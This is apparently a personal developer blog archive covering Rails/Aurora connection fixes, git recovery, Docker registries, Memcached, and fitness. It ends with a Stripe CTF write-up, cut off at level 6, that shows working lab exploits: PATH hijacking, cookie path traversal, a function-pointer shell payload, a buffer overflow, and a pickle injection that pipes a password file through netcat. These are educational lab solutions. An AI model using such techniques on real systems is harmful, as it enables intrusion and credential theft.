Philip Corliss

Fixing Rails Connection Stickiness to Aurora

2023-04-04T00:00:00+00:00

“Why is one of our reader instances taking all the load?” I asked myself one Friday afternoon at work.

The green line represents the current reader CPU usage, while the blue line represents the reader instance that automatically scaled up an hour ago.

Checking Assumptions

My coworker helpfully chimed in with the always useful haiku to help me focus on the important things.

Clearly something is wrong here, I started double checking assumptions.

AWS Aurora is a managed database, providing us with a PostgreSQL compatible interface.
AWS Aurora provides auto-scaled reader databases. Scaling up when usage is high and down when usage is low.
AWS Aurora uses two endpoints, a reader and writer endpoint.
The reader endpoints use round-robin load balancing via DNS.
Our production web workers are configured to connect to the reader endpoint for read-only queries.
Restarting our web workers appears to redistribute load evenly again and we’re able to mitigate the hot-spotting when it comes up.

So why are we seeing stickiness?

When I run netstat -an | grep ':5432' to see open PostgreSQL connections I see about 90% of requests stuck to one of the readers. A handful of our web workers are connected to the other readers. This seems to make sense because sometimes a web worker will timeout and automatically get restarted. This seems to force a fresh connection. We see the same behavior during a deploy or manual restart of our web workers.

We currently monkey-patch the PostgreSQLAdapter#active? method to expire our connections periodically to help with failover events. A naive read of it indicated that it should force a reconnection every few minutes or so and that was indeed working. Further digging discovered that it was resetting the initial PG::Connection object in the connection pool rather than reaping the connection and creating a fresh one. Lastly the PG::Connection#reset method doesn’t force DNS to resolve again. Ooof!

How ActiveRecord Connections Work

On the first ActiveRecord request, something like User.first, a new connection is checked out or created from the connection pool. On checkout the connection is verified. Even in single threaded workloads, like Unicorn, a pool is maintained, although with typically only a single connection.

Below are the relevant code snippets from the Rails 6.1 branch of ActiveRecord.

# Check-out a database connection from the pool, indicating that you want
# to use it. You should call #checkin when you no longer need this.
#
# This is done by either returning and leasing existing connection, or by
# creating a new connection and leasing it.
#
# If all connections are leased and the pool is at capacity (meaning the
# number of currently leased connections is greater than or equal to the
# size limit set), an ActiveRecord::ConnectionTimeoutError exception will be raised.
#
# Returns: an AbstractAdapter object.
#
# Raises:
# - ActiveRecord::ConnectionTimeoutError no connection can be obtained from the pool.
def checkout(checkout_timeout = @checkout_timeout)
  checkout_and_verify(acquire_connection(checkout_timeout))
end

source

# Checks whether the connection to the database is still active (i.e. not stale).
# This is done under the hood by calling #active?. If the connection
# is no longer active, then this method will reconnect to the database.
def verify!
  reconnect! unless active?
end

source

We had monkeypatched active? to expire a connection after a few minutes which only succeeded in resetting the connection instead of performing a true reconnect. The following code in the PostgreSQLAdapter shows why.

# Close then reopen the connection.
def reconnect!
  @lock.synchronize do
    super
    @connection.reset
    configure_connection
  rescue PG::ConnectionBad
    connect
  end
end

source

What Did Work

We used the following monkey-patch to force a true reconnection and force a new DNS resolution to occur. The random interval for expiry prevents multiple reconnects from all occuring at the same time.

module ActiveRecord
  module ConnectionAdapters
    class PostgreSQLAdapter < AbstractAdapter

      def expired?
        @expired ||= rand(5.0..10.0).minutes.from_now
        @expired < Time.current
      end

      def active?
        return false if expired?
        @lock.synchronize do
          @connection.query "SELECT 1"
        end
        true
      rescue PG::Error
        false
      end

      def reconnect!
        @lock.synchronize do
          super
          disconnect!
          connect
          @expired = nil
        rescue PG::ConnectionBad
          connect
        end
      end

    end
  end
end

In the process of fixing this we uncovered that since the connections weren’t being destroyed as expected we were seeing a connection reset on every connection checkout 😅. On resetting @expired after a reconnect! we saw an immediate improvement in median response time from 42ms down to about 17ms. Not enough to be noticeable but every ms counts!

Next Steps

Breaking the above out into a new adapter that inherits from PostgreSQLAdapter might be cleaner than monkey-patching. Perhaps even adding a configuration option and trying to get it merged in as a feature to ActiveRecord. Overall the above was working well for us and we started seeing immediate relief.

The Superior Hiking Trail - Rain Gear

2016-05-30T00:00:00+00:00

I was fortunate to find the Marmot PreCip jacket and pants on sale and picked them both up. Reviewers give it high marks and inexpensive is a combination I can’t resist.

Shortly after I picked it up we had a perfect Saturday here in Chicago. My SO was at work, the temps were above freezing, the wind was blowing, and it was raining.

I’m sure I looked a bit odd trudging up the Lakefront Trail in the rain with a pack on my back but it needed to be done for SCIENCE!

14-miles there and back, it was a good test. I ended up staying mostly dry. The places I ended up getting wet were my trail runners, which aren’t supposed to be waterproof, but did drain well. I neglected to bring gloves and ended up with some wet and cold hands. I also left my waterproof pants back pocket unzipped, didn’t realize it until I got home, and found the right-side of my rear-end soaked.

I did find out that my pack is definitely not waterproof. It even collected a couple of inches of water on the inside which I had to pour out in the sink. I’ve obtained a waterproof pack cover which should fix that problem up.

Here’s hoping my trip on the Superior Hiking Trail will be clear and dry, but if it isn’t at least I know I’ll be prepared.

The Superior Hiking Trail - Intro & Gear

2016-05-08T00:00:00+00:00

A few months ago I was captivated by a reddit IAMA Last year I quit my job in order to walk the 2650 mile PCT

The idea of travel makes me anxious: too many people, being unable to speak the language, etc… But the idea of lots of solitary time, getting daily exercise, seeing the stars without light pollution, and some of the most striking scenery that the US has to offer.

A Few Wrinkles:

I like my job, and don’t feel too keen on leaving.
I don’t think I’m quite up to the task of spending 4 months backpacking without a test run.
All of my gear is from my time in the Boy Scouts, sized for an adolescent, and about 19 years old.
What if nostalgia is clouding my memory of backpacking?

Clearly a test-hike is in order. The Chicago area, while largely flat, isn’t much for long wilderness trails. But a short plane ride away is Minnesota and the Superior Hiking Trail.

The trail is 251 miles, from Duluth to the Canadian border along Lake Superior’s coast. Roughly 2-weeks of hiking 20 miles a day, a resupply or two part way through, and I can call myself adequately prepared for something more ambitious.

As a Boy Scout I was packing 40-50 lbs up and down the mountains of the Pacific Northwest. The longest hike I went on was a 9-day 63 mile hike around the Pasayten Wilderness. I’m in better shape as an adult than I was as a kid. Technology has advanced such that a base-weight of 10-15lbs is now possible. I’ll be fighting 35-year-old-knees but I like my odds.

New Gear

Mobile phones were available when I was backpacking. But typically service was unavailable until you got back to the trail-head. Now smart phones offer GPS, maps, compass, still photos, and video recording. But powering all that on a long-distance hike can be a challenge.

Enter the 16,100 mAh AmazonBasics Portable Power Bank.

It managed to fully recharge my iPhone from a normal day’s usage (50%) 8 times. With low-power and airplane-mode I’m certain I can stretch that to two full weeks. At 12.6 oz it’s heavy but well worth the piece of mind.

I’ll be posting periodic updates as I acquire and test new gear, Get my inventory together and firm up my plans.

Recovering Git Commits

2014-12-10T00:00:00+00:00

TLDR: Don’t force push. But if you do you can get around the damage.

If you’ve ever accidentally force pushed something you understand the sinking feeling in your stomach as you desperately try and figure out how to recover from the error. Often times it’s possible to utilize the reflog, find the local commit, and tag or reference it in someway to avoid garbage collection and losing the work forever.

In my case while doing some research for a project I noted that there was no way with a stock git client to recover from a force push if it no longer exists locally and isn’t referenced on a remote. In cases like the unfortunate Jenkins incident this sort of thing would require intervention by GitHub Staff.

Curious I started looking for a way to do this manually via the git client, direct manipulation of git references, and finally hand-crafted calls over the wire.

Setup

I started with an empty repository on BitBucket. A few test commits were added, followed by a git reset --hard HEAD~1, another commit, and then a force push. On both GitHub and Bitbucket the commit will still be visible via the web GUI but because it’s no longer referenced via the history of any tags or branches it’s now completely inaccessible to other clients besides my own. Even git clone --mirror ignores dangling commits. Normally either you or someone in your organization would have the previous commit locally and could add a tag. But if no one else is available and you don’t have the commit locally you’ll be out of luck.

Git Wire Protocol

Git provides some nice debugging tools which allow you to take a peek at the various commands being sent over the wire. I use the following alias to turn them all on at once.

alias git_debug='export GIT_TRACE_PACKET=1 GIT_CURL_VERBOSE=1 GIT_TRANSPORT_HELPER_DEBUG=1 GIT_DEBUG_SEND_PACK=1 GIT_TRACE=1'

The output looks something like this:

pcorliss.github.com $ git fetch
trace: built-in: git 'fetch'
trace: run_command: 'ssh' 'git@github.com' 'git-upload-pack '\''pcorliss/pcorliss.github.com.git'\'''
packet:        fetch< 428b2a372495666ecde7f8c1557365a8e7c2ccd3 HEAD\0multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag multi_ack_detailed symref=HEAD:refs/heads/master agent=git/2:2.1.3+github-642-g667ea60
packet:        fetch< 428b2a372495666ecde7f8c1557365a8e7c2ccd3 refs/heads/master
packet:        fetch< 0000

While this provided some nice clues on how git connects and sends commands it obfuscated important parts of the protocol including signatures and pack file generation and formatting.

SSH Proxy

The only way to get around this was to build a proxy with which GIT would connect through and allow me to see and record the raw IO. Git provides an environment variable GIT_SSH you can set which makes building a program to intercept the traffic a little bit easier.

After quite a bit of trial and error I built git_ssh_proxy to intercept and record the traffic coming from git.

A sample of the output recorded from git push --tags

CMD ssh -x git@bitbucket.org git-receive-pack 'pcorliss/force-push-testing.git'
STDOUT 008841abcee85021a3b08de5d73492ead4612afa4690 refs/heads/master^@ report-status delete-refs side-band-64k quiet ofs-delta agent=git/2.1.1
STDOUT 003d7953b561d6ebab069442e51440d3dc05a18ab20c refs/tags/fubar
STDOUT 003b501dd68b248d636c2a040949fe83c27119ce228c refs/tags/iii
STDOUT 0000 NOBREAK
STDIN 009e0000000000000000000000000000000000000000^@ 4b55fc9b074e6e34c1458e32ababba8d4565cafb refs/tags/dangling_commit_X report-status side-band-64k agent=git/2.0.00000 NOBREAK
STDIN PACK....RAW BYTES EXCLUDED FOR READABILITY..... NOBREAK
ERROR STDIN EOF:  String 0
STDOUT 003a^A000eunpack ok
STDOUT 0023ok refs/tags/dangling_commit_X
ERROR stdout EOF
ERROR stderr EOF
SYS pid 42668 exit 0

Initially I had tried to hand-craft the input but that proved difficult for two reasons.

Each line is preceded by the hex encoded length of the command
Push commands send up compressed binary data in packfile format. Even empty pack data lines contain a signature with binary data.

Eventually using the SSH Proxy I recorded the sent data and was able to create new tags by just modifying the SHA line. As long as the SHA exists on the remote this command should work.

cat stdin.out | ssh -x git@github.com "git-receive-pack 'pcorliss/force_push_testing.git'"

Tool For Tag Creation

Using the recorded data I created a second tool for the express purpose of generating the appropriate command and sending to the remote server. It allows a user to automatically create tags for dangling commits. I had a number of difficulties dealing with IO appropriately but after some tweaking it now works with both Github and Bitbucket endpoints and should work with any git endpoint that uses SSH.

GitHub API method

After I started writing this blog post I found this alternate method which uses the GitHub API. As far as I can tell there isn’t a corollary on the Bitbucket API.

Rdio & Belly DJ

2014-10-29T00:00:00+00:00

TLDR: belly-dj.herokuapp.com

I started looking for full-time work recently and an old co-worker of mine mentioned Belly. When I took a peek at their engineering page I was particularly excited by the front-end JS challenge they had posted.

The basic gist is Belly provides a wrapper around the Rdio API. The candidate’s challenge is to build something on top of that. The challenge is purposefully vague in order to encourage creativity.

In my case I thought it would be neat to create some semblance of a mixing table for Rdio streams. I’m not a DJ or even really familiar with how mixing tables work. But how hard could it be (Famous last words.)

Challenges

Initially my plan was to just initialize two Rdio API streams. However Rdio actively prevents users from playing two simultaneous streams. If you try it the oldest stream will be cut off. This appears to affect a currently logged in user across multiple computers as well as a browser window sharing the same session.

To get around this I first tried using two iframes and the sandbox attribute. This unfortunately was also a non-starter. While the Rdio API will stream within an iframe it will not stream within an iframe with any sandbox options.

At this point I had to resort to separate browser windows. It also meant this supposedly simple project of mine needed a communication mechanism between two browser windows. Thankfully socket.io is available and with some headaches I had basic communication between the two windows.

The Best Part

Probably the most straightforward feature was the spinning album art but it also happens to be my favorite. Modern browsers contain all sorts of CSS transitions that web developers don’t get to use because the support is lacking or implemented inconsistently. Thankfully when you’re making something for yourself or only a handful of others which you know are all using Chrome you get to experiment a little.

.rotate {
  -webkit-animation:spin 4s linear infinite;
  -moz-animation:spin 4s linear infinite;
  animation:spin 4s linear infinite;
}

.paused {
  -webkit-animation-play-state:paused;
  -moz-animation-play-state:paused;
  animation-play-state:paused;
}

Code & Link

You can see the code on my github page at github.com/pcorliss/belly-rdio-dj. The app itself is available on Heroku at belly-dj.herokuapp.com

Bringing the Orchestra Screen to Tech

2014-10-20T00:00:00+00:00

TLDR: BadBias.herokuapp.com

The last chapter of Malcolm Gladwell’s book Blink introduced me to the concept of screens used for orchestra auditions. For those that are unfamiliar: a screen is set up to hide the identity of the performer from those evaluating the candidate.

Using data from actual auditions in an individual fixed-effects framework, we find that the screen increases by 51% the probability a woman will be advanced out of certain preliminary rounds. The screen also enhances, by severalfold, the likelihood a female contestant will be the winner in the final round.

Claudia Goldin, Cecilia Rouse - Orchestrating Impartiality: The Impact of “Blind” Auditions on Female Musicians

These findings got me thinking about possible ways to apply this to the interview process for technology. For many tech companies, the decision to hire candidates is based on their ability to write code to solve a series of problems, often evaluated via a combination of homework, a technical phone-screen, and in-person interviews. During this process, the candidate’s resume and code is reviewed by multiple people, and bias can arise from surprising sources.

The results show significant discrimination against African-American names: White names receive 50 percent more callbacks for interviews.

Marianne Bertrand, Sendhil Mullainathan - Are Emily and Greg More Employable than Lakisha and Jamal? A Field Experiment on Labor Market Discrimination

A Simple Tool to Remove Bias

As a first step, I decided to build a simple tool for blinding public LinkedIn profiles by hiding data that could be used to infer the race, gender, or age of the candidate. I included the option to hide company and educational institution names to avoid advancing candidates based on pedigree alone.

You can see an example of my public profile and the blind version

Challenges

LinkedIn has an API, but they don’t offer a user’s public profile without that specific user logging in via oAuth. As a result, I had to go the screen-scraping route and process the contents using Nokogiri. This leaves the project in an especially brittle state, where a small change on LinkedIn’s side could mean that the content is rendered incorrectly or that it throws errors.

Public-profiles on LinkedIn use two totally different templates. Here’s an example of my profile and a former colleague’s profile. I’m unable to explain the reasoning for it, but parsing and replacing text within both profiles without completely breaking either required a lot of effort.

Certain portions of a resume — summaries, volunteer work, and awards — can provide identifying information about the candidate. Some of it made sense to hide, i.e. the user’s co-workers and people in their network, but other information, like awards, seemed too important to omit.

The link you view when browsing LinkedIn isn’t the public profile of the user, and there isn’t an API to convert it to a public profile either. I’m guessing this will lead to a lot of head-scratching and a poor user-experience.

Valid Public Profile Links

/in/philipcorliss
/pub/philip-corliss/0/349/28

Non-Public Profile Links

/profile/view?id=123456789&authType=name&authToken=xvZQ&trk=prof-sb-browse_map-name

LinkedIn has a number of anti-screen-scraping protections in place. As an example, this is what happens when you make a request with certain user-agents or from certain IPs.

$ curl -I 'https://www.linkedin.com/in/philipcorliss'
HTTP/1.1 999 Request denied
Date: Mon, 20 Oct 2014 22:00:20 GMT
Server: ATS
X-Li-Pop: PROD-ELA4
X-LI-UUID: 24URwzD6nhPwF54ilysAAA==
Content-Length: 511
Content-Type: text/html

Next Steps

Next, I intend to integrate with GitHub to create a completely blind code review tool that companies can use to assign coding challenges to candidates.

Code & Link

There’s no code provided for this project as it’s a mess of untested spaghetti mostly built as a proof of concept. But you can visit and use the project freely at BadBias.herokuapp.com.

Tool to Generate S3 Expiring Links

2014-08-29T00:00:00+00:00

s3-expiry.50projects.com

The Problem

While doing some AWS consulting for a new client I was struck by how difficult it was sometimes to download a file from S3. You can make the file world readable, but that’s not terribly secure and odds are you’ll forget to turn it off. You can copy the URL generated by the Download button in the S3 console, but by default that only lasts 5 minutes, and if you have a 5Gb file you’ll be out of luck. A plethora of tools exist to solve this problem but I never have time to install, configure, purchase a license, etc…

Fortunately S3 allows you to generate your own expiring links with expirations lasting up to 7 days. With that in mind all I needed to do was build a simple client-side JS app that would generate the link for me. Then I could put it online and use it whenever necessary without fear of exposing my clients sensitive data.

Building It

CryptoJS exists and allows me to perform the necessary HMAC-SHA256 operations to generate the signature. The tough part was implementing it in JS and matching Amazon’s very finnicky documentation.

Lessons Learned

I could have built this for Signature Version 2 which is far simpler.
The [AWS documentation’s]((http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-query-string-auth.html) HMAC-SHA256 function takes the secret first. CryptoJS takes the secret as the last argument.
I still have trouble making things look pretty. I need a CSS framework for quick utility sites that doesn’t require me to relearn everything.
I adore that you can host a site quickly on s3. Simply create a bucket named the domain you’ll be hosting, then set everything to public.
S3 is still slow for publicly hosting resources. If this were higher traffic I’d put a CloudFront instance in front of it.
I was a bit bummed to see someone beat me to building this. You can see their implementation at http://www.dancartoon.com/projects/s3-siggenerator/

Code And Link

github.com/pcorliss/s3-expiry

s3-expiry.50projects.com

Build Your Own Private Docker Registry for $3/month

2014-08-21T00:00:00+00:00

We recently needed to deploy and start hosting a new venture I’m working on, GitSentry. Because of a fairly complicated setup on our part Heroku was out of the question. I had been working with Docker prior to this so it seemed like the logical next step for service configuration and deployment. One problem, I needed the host my docker images in a registry, but I didn’t want my code to be public. A number of private docker registries have popped up recently, but I’m not always rational when it comes to valuing my time against small monthly fees. So I went down the path of investigating what it would take to host my own registry.

docker/docker-registry

This will be easy! There’s already a private registry docker image available and built for this purpose. But a few problems, we need to host it, configure the host, configure persistent storage, and configure secure access.

Hosting

Finding a persistent online host isn’t easy. DigitalOcean is the cheapest at $5/mo. AWS is competitive at about $9/mo or $0.013/hr for their t2.micro instances. But you can get a little bit better by paying some money upfront for a 3 year reserved instance averaging out to $4.50/mo. But even better than that you can leverage spot instances at $0.0031/hr or about $3/mo after some additional support fees (EBS and transfer).

Spot Instances

Normally reserved for a different type of workload you can leverage a spot request by setting your maximum bid high enough to get almost persistence. You might still be out-bid or the instance might fail due to a service interruption. Fortunately you can use cloud-config on the Amazon Linux AMIs to automatically start the registry on boot, and S3 for storage.

S3 Configuration

You’ll need to store the docker images somewhere. The docker registry provides several possible endpoints but s3 is the most convenient. Create a bucket in s3 and note the name.

For security purposes I like to provision a custom user with access to only that bucket and nothing else. This is the custom IAM policy I use. Note the access key and secret after creating the user.

{
  "Version": "2012-10-17",
  "Statement": [
        {
            "Effect": "Allow",
            "Action": "s3:ListAllMyBuckets",
            "Resource": "arn:aws:s3:::*"
        },
        {
            "Effect": "Allow",
            "Action": "s3:*",
            "Resource": [
                "arn:aws:s3:::your-bucket",
                "arn:aws:s3:::your-bucket/*"
            ]
        }
  ]
}

DynDNS

I use Namecheap as my registrar and DNS provider for non-critical domains. They also provide a handy DynDNS service that allows me to curl a url and set the ip address for a hostname. Any other DynDNS service should be able to do the job if you don’t use Namecheap.

My spot instance has been running for about 70 days now without interruption so you might be able to get away with doing this manually to avoid extra setup.

EC2 Configuration

Select an Availability Zone

Each AWS account has a different mapping for availability zones. This prevents me from suggesting the zone which has the least amount of price variance for spot instances. Under EC2 -> Spot Requests -> Pricing History you can view the volatility under different zones for t1.micro instances over the last 3 months. Pick the one that stays nearest to the baseline.

Define a Security Group

I define a custom security group for my docker registry which exposes HTTP and SSH to just my IP address. You may want to do the same otherwise your private registry will be world readable and writeable. There’s an authentication section available with more info on limiting access.

Spot Instance Configuration

Select the latest Amazon Linux AMI with paravirtual support. At the time this was written that was Amazon Linux AMI 2014.03.2 (PV) - ami-7c807d14.
Select the t1.micro instance type
Specify your maximum bid. The higher this is the more likely your instance will stay persistent but may result in a higher monthly cost. I set mine to $0.0075/hr but have rarely seen my costs rise above the baseline of $0.0031/hr.
Turn on Persistent request. This will request new spot instances if you get out bid or an instance dies for some reason.
Select the Availability Zone you determined from the pricing history.
Advanced -> User Data: This is run after boot on your instance. Make sure to replace the values in brackets with your own values.

#cloud-config
runcmd:
 - "echo 'Running Docker Setup and Registry'"
 - 'IPADDR=$(curl http://169.254.169.254/latest/meta-data/public-ipv4) && curl -i "https://dynamicdns.park-your-domain.com/update?host=[hostname]&domain=[domain]&password=[password]&ip=$IPADDR"'
 - "yum update -y"
 - "yum install docker -y"
 - "/etc/init.d/docker start"
 - "docker run -d -e SETTINGS_FLAVOR=s3 -e AWS_BUCKET=[YOUR_S3_BUCKET] -e STORAGE_PATH=/registry -e AWS_KEY=[YOUR_AWS_KEY] -e AWS_SECRET=[YOUR_AWS_SECRET] -e STORAGE_REDIRECT=true -p '80:5000' registry"
 - "echo 'Done Setting up Docker'"

Select a Security Group from the list as defined earlier.

Startup is much slower than normal on-demand instances so make sure to budget about 15-20 minutes for the instance request, boot, package installation, and docker image download.

Testing 1, 2, 3

If all went well you should see something like the following when you curl your endpoint. “docker-registry server (s3) (v0.8.0)”

Run the following commands for a full end-to-end test

docker pull ubuntu:latest
docker tag ubuntu:latest [endpoint_fqdn]/ubuntu_test
docker push [endpoint_fqdn]/ubuntu_test
docker pull [endpoint_fqdn]/ubuntu_test

Private Docker Registry Services

Docker Hub - $7-$12/mo
Quay.io - $12-25/mo
Tutum - $4/mo

Full Disclosure

The Namecheap and DigitalOcean links use my referral code.

Memcached Doesn't Work the Way You Think It Does

2014-02-03T00:00:00+00:00

A coworker strolled over to my desk late on a Thursday afternoon and casually mentioned that one of our internal tools was unresponsive. On investigation I discovered that the box was getting hammered with requests, under normal circumstances this machines receives 1 RPM (requests/minute) but was currently receiving 1200 RPM.

In this case we started looking at our caching code and the Memcached pool. There were no graphs or alerts that showed anything odd. In our case each Memcached instance was configured to use 4Gb of memory but only 1Gb of memory was being used according to Memcached’s internal bytes statistic. The large number of requests pointed to an empty cache, but nothing in the code indicated what could be causing it. So we ran a few tests and found some troubling results.

>> Rails.cache.write("phil_test_key", JSON.parse(result.http_response.body), :expires_in => 1.day)

=> true

>> 100.times do |i|

?> break if Rails.cache.read("phil_test_key", :raw => true).nil?

>> puts "#{i} seconds"

>> sleep 1

>> end

0 seconds

1 seconds

...

12 seconds

13 seconds

=> nil

The object we were storing after parsing the JSON and marshalling was roughly 28K. When we decreased the size of the object to 25K the problem disappeared. When we increased the size to 33K the problem disappeared. The quick and dirty solution therefore was to add 5K of junk data to the service response which solved our problem for the moment. But this exposed a misunderstanding on how Memcached was working behind the scenes and a problem with how we were monitoring our caching infrastructure.

I knew our clients used hashed key names to determine which Memcached server to store the value in. But to me Memcached was just a big non-persistent key-value store with expirations. For me and most of my coworkers we treated Memcached like the following figure.

[Figure 1: Memcached Naive Understanding ]

How Memcached actually works is more complex than that, and once we understood the mechanics underneath it quickly highlighted our problem. There are three key components that one needs to understand in order to grasp the issue:

Pages: By default 1 page == 1Mb of Memcached memory. Pages are available for allocation to slabs but once they have been allocated to a slab they can't be allocated to another slab later.
Slabs: Each page is assigned to a slab class. A slab class has a range of data-sizes that it's responsible for storing. For example if I have some data that's 28K in size it would be stored within a slab that handles data sizes between 25K and 33K. (Exact Sizes Dependent on Configuration)
Chunks: Each individual value is stored within a single chunk. A single slab is made up of these chunks. If 28K of data is stored in a chunk within the slab that handles data up to 33K in size, the remaining 5K is wasted.

In the figure below we show a Memcached host configured to run with 8 Mb of memory, and of which 2 Mb has already been allocated.

[ Figure 2: Memcached Host and Page Allocation ]

The figure below represents a single page which has been assigned to a slab. Within it are allocated chunks which each contain some data.

[ Figure 3: A Single Allocated Page with Allocated Chunks ]

The figure below represents a single chunk.

[ Figure 4: A Single Chunk of Data ]

In our case, all the pages had been allocated to slabs in our Memcached instance. However since pages are never reallocated we effectively had a cache where we had plenty of free space for values of some types but not others resulting in evictions. While an expiration is expected and often a useful tool for keeping data fresh. Evictions are when data is removed from the data store before it has expired and is unexpected.

When our app tried to store a 28K object, Memcached found the least recently used object in that slab, and removed it from the store. With sufficient traffic of a particular size of data we started seeing rapid evictions. Because our data was repeatedly being evicted the service responsible for generating that data was getting slammed with requests and couldn’t keep up with the heavier load.

While we had already mitigated our initial problem this highlighted a much bigger issue, thousands of evictions per minute. Resulting in constant cache misses and slower performance. We restarted the Memcached instances in this pool late at night which allowed the pages to be reallocated. Here's a graph over time illustrating the drop in response time for a particular API call. As you can see it was pretty substantial.

[ Figure 5: API Response Time ]

Long term we're looking at Twemcache, a fork of Memcached, which allows more fine-grained eviction control which should keep our page allocation in balance going forward. For now we're keeping a much closer eye on our eviction rate and alerting on anything over 0.

Philip Corliss is a Cheese Enthusiast and wrote this blog post while a Software Developer at Groupon. He’s no longer working for Groupon but still loves to talk about caching and scaling problems. For cheese recommendations, adorable corgi photos, and questions please email pcorliss@gmail.com or tweet @pcorliss.

Fitbit Data and Weightloss

2014-01-27T00:00:00+00:00

I was always a fat kid, later on I was a fat teenager, and no real surprise I was a fat adult. I’ve always struggled with food, exercise, and my appearance. Food was a comfort, I used it to de-stress and I ate when I was bored. Exercise was to be avoided because I sweat excessively. I’ve dieted before, and gone on short exercise stints, but nothing that lasted more than a few months.

About a year ago I got a bit more serious, I started a regular appointment with a personal trainer. She taught me how to lift weights, pace my workouts, and got me on a good track such that I could exercise on my own. The foundation was there, I had lost 15 pounds from 240 lbs, and I had developed some core strength. I didn’t keep it up though.

In early May I pre-ordered the Fitbit Flex. Some friends of mine had earlier versions already but I figured it might be worth it. I was worried though, I have a long history of gadget based exercise incentives. WiiFit, Pull up Bars, Hundred Push Ups, etc…

After the Fitbit arrived, I strapped it on and really got into the distance based goal approach. Movement around the office plus my walk to and from work usually netted me 4 miles but I needed to do supplementary exercise in order to get that last mile. Because the daily goal was there I started spending a lot more time in the gym. Once or twice a week suddenly jumped up to 5-6 days a week.

My weekly plan consisted of 2-3 days of weight-lifting with a 10 minute warmup on the treadmill. Then rest days where I would do a intervals, or treadmill hill climbs. I went from only being able to run a 10 minute mile to a 7:20 minute mile. I started running for longer distances on the treadmill, at first 2 miles, then 3, 5, and in the last three months I’ve been running 6-10 miles outdoors.

I cut out soda except for a treat every 2-4 weeks, and tried to snack less. At first this worked wonders but around November I had to start cutting calories to see the same weight loss that I was seeing in previous months.

A couple of setbacks along the way, I’ve been getting nagging left-knee pain throughout November and December. The last few weeks I’ve been using the stationary bike exclusively to try and reduce the impact and let my knee recover. I’ve also noticed that I’m aware of a constantly shifting array of muscle aches and pains induced by weight-lifting.

On the positive side I’m in the best shape of my life. This morning I weighed in at 196 lbs. I’ve been below 200 lbs, my goal weight, for over a week now. This is down from 226 lbs. at the end of May.

Processed via the Fitbit API and a quick script I put together.

The effects are noticeable, I look better in the mirror, fat has given way to muscle, and the excessive sweating seems to have eased off. I’ve lost about 4 inches around my waist line. I’ve given up x-large t-shirts in favor or large t-shirts. I'll need to pick up some more pants at the very least as they're starting to look comical on me.

I plan to lose about 5-10 more pounds, then take a break for a while and go on a maintenance plan. Afterwards I may start weightlifting more seriously in an effort to add more lean muscle. My scale claims I’ve only lost about 2-3 lbs of lean muscle during this period. But I’m not sure I trust the accuracy of the electronic impedance testing on a $20 scale.

Law & Order

2014-01-20T00:00:00+00:00

About two years ago I was on an exchange program with another team at Groupon. I flew out to Palo Alto, checked in to my hotel, and spent two-weeks working with another team. It was an interesting experience. I learned a lot, committed some code, and made a big impact. At the end I came back to Chicago more knowledgeable about Groupon’s core systems.

There was a lot of down-time during those two weeks. I ended up watching a lot of cable TV. What I found was that for me the most comforting show on television was Law & Order. At most times day or night I could find a channel playing one of the many varieties of the show. For whatever reason it helped me relax and decompress a bit knowing that it was a near-constant. The only problem was finding the right channel.

Thus was born WhatTimeIsLawAndOrderOn.com. I started off by scraping a site which I won’t name for obvious reasons. Then loaded the data into nokogiri and developed a series of rules for parsing the data. After an evening I had something mostly working. After another day I had a domain, a basic design, and an S3 bucket with mirrors of the content.

I had planned to run a regular rake task to keep the data updated but never got around to it. But now with “Funemployment” in full swing I figured it was time to dust it off and make it properly functional. With some modifications to the encoding and feed parsing that took most of the day it’s now running on heroku and if the scheduled job runs as expected it should stay up to date.

Another nifty feature is that by scraping all of the tv schedule I can spin off dozens of other domains for many different shows. If the traffic is high enough I might just be able to cover the costs of buying more domains and hosting with some basic ads.

A bit of a silly thing to get started with for my first full week of Funemployment. But cleaning up some of my old projects seemed like a nice way to spend some time.

Stripe CTF

2012-02-28T00:00:00+00:00

Code is available at https://github.com/pcorliss/Stripe-CTF

My solutions to the Stripe CTF challenge are as follows.

Note that in many cases the code isn't very robust or workable. But was
the minimum needed to complete the level.

Level 01

On observing that the system call within level01.c made an unchecked
call to 'date' without a full path specified I created a local date
file and set it to the local path. That file was simple shell script
containing 'cat /home/level02/.password'.

level01@ctf:/tmp/tmp.8N0qqvoaVu$ export PATH=/tmp/tmp.8N0qqvoaVu:$PATH
level01@ctf:/tmp/tmp.8N0qqvoaVu$ chmod a+x date
level01@ctf:/tmp/tmp.8N0qqvoaVu$ /levels/level01
Current time: kxlVXUvzv

Level 02

Level 2 uses the contents of the clients cookie to read a file without
escaping the contents. Via a browser I modified the cookie set by the
level to the following and the password was printed as part of the web
page.

Change cookie to ../../home/level03/.password
Or0m4UX07b

Level 03

I had never performed any sort of pointer arithmatic outside of an
introductory CS course. So this was certainly a challenge for me.
Outside of level 6 I think I spent more time on this level than any of
the other ones.

On reading level 3's source code I noticed that it was executing the
function via an array of function pointers. However the selection
mechanism used an argument which only checked for positive numbers >= 3
and not for number < 0.

After spending more time with it and gdb I realized you could select a negative
number which pointed to a specific location in the string buffer you
pass as an argument as well. After some fiddling I provided the memory
address of the deprected run function.

level03@ctf4:/tmp/tmp.uuCAtV5Uog$ /levels/level03 -21 'cat /home/level04/.password;'$'\x5b'$'\x87'$'\x04'$'\x08'
i5cBbPvPCpcP
sh: [: not found

Level 04

Like Level 03 I had never performed a buffer overflow before. I did some
searching and came across the following which amounts to a buffer
overflows for dummies. With some tweaking I was
able to make it work for the level 4 binary. It works about 50% of the
time. From what I understand Linux uses some sort of stack randomization
to prevent this sort of attack. From reading other reports online there
is a way to get a dterministic solution but I didn't take the time to
expore that.

Offset:-994Address: 0xffa368fe
Executing
Buffer:57200
Buffer:0
$
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

After looking at the python web server and running it locally. I noticed
that it wasn't properly escaping user input and allowed a file
containing executable code to be written to. I pickled up a simple
exploit, started a netcat server listening and passed it through.

level05@ctf4:/tmp/tmp.7mKxYf6M1c$ nc -l 9333 &
[1] 24599
level05@ctf4:/tmp/tmp.7mKxYf6M1c$
level05@ctf4:/tmp/tmp.7mKxYf6M1c$ curl localhost:9020 -d "DATA; job: cos
system
(S'nc localhost 9333 < /home/level06/.password'
tR.'
tR.
"
SF2w8qU1QDj
{
"result": "Job timed out"
}
[1]+  Done                    nc -l 9333

Level 06

Of all the challenges this one
took the most time. I had heard of and felt I understood the
implementation of a timing attack but had no idea how hard it would be
to actually implement.

First I tried something written in ruby to test the time taken to run
the command, however I saw very little difference in how fast something
